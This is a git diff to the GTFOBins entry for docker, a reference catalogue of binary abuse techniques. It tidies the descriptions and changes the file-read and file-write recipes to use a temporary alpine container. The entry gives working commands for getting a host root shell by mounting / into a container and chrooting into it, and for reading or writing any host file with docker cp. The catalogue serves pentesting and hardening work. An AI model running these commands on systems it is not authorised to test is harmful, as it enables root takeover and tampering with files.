diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md
index 3255601..5a35c53 100644
--- a/_gtfobins/docker.md
+++ b/_gtfobins/docker.md
@@ -1,30 +1,32 @@
 ---
 description: |
   This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
+
+  Any other Docker Linux image should work, e.g., `debian`.
 functions:
   shell:
-    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+    - description: The resulting is a root shell.
       code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
   file-write:
-    - description: Write any file by copying it to an existing container and back to the target destination on the host.
+    - description: Write a file by copying it to a temporary container and back to the target destination on the host.
       code: |
-        CONTAINER_ID=existing-docker-container
+        CONTAINER_ID="$(docker run -d alpine)" # or existing
         TF=$(mktemp)
         echo "DATA" > $TF
         docker cp $TF $CONTAINER_ID:$TF
         docker cp $CONTAINER_ID:$TF file_to_write
   file-read:
-    - description: Read any file by copying it to an existing container and back to a new location on the host.
+    - description: Read a file by copying it to a temporary container and back to a new location on the host.
       code: |
-        CONTAINER_ID=existing-docker-container
+        CONTAINER_ID="$(docker run -d alpine)"  # or existing
         TF=$(mktemp)
         docker cp file_to_read $CONTAINER_ID:$TF
         docker cp $CONTAINER_ID:$TF $TF
         cat $TF
   sudo:
-    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+    - description: The resulting is a root shell.
       code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
   suid:
-    - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
+    - description: The resulting is a root shell.
       code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
 ---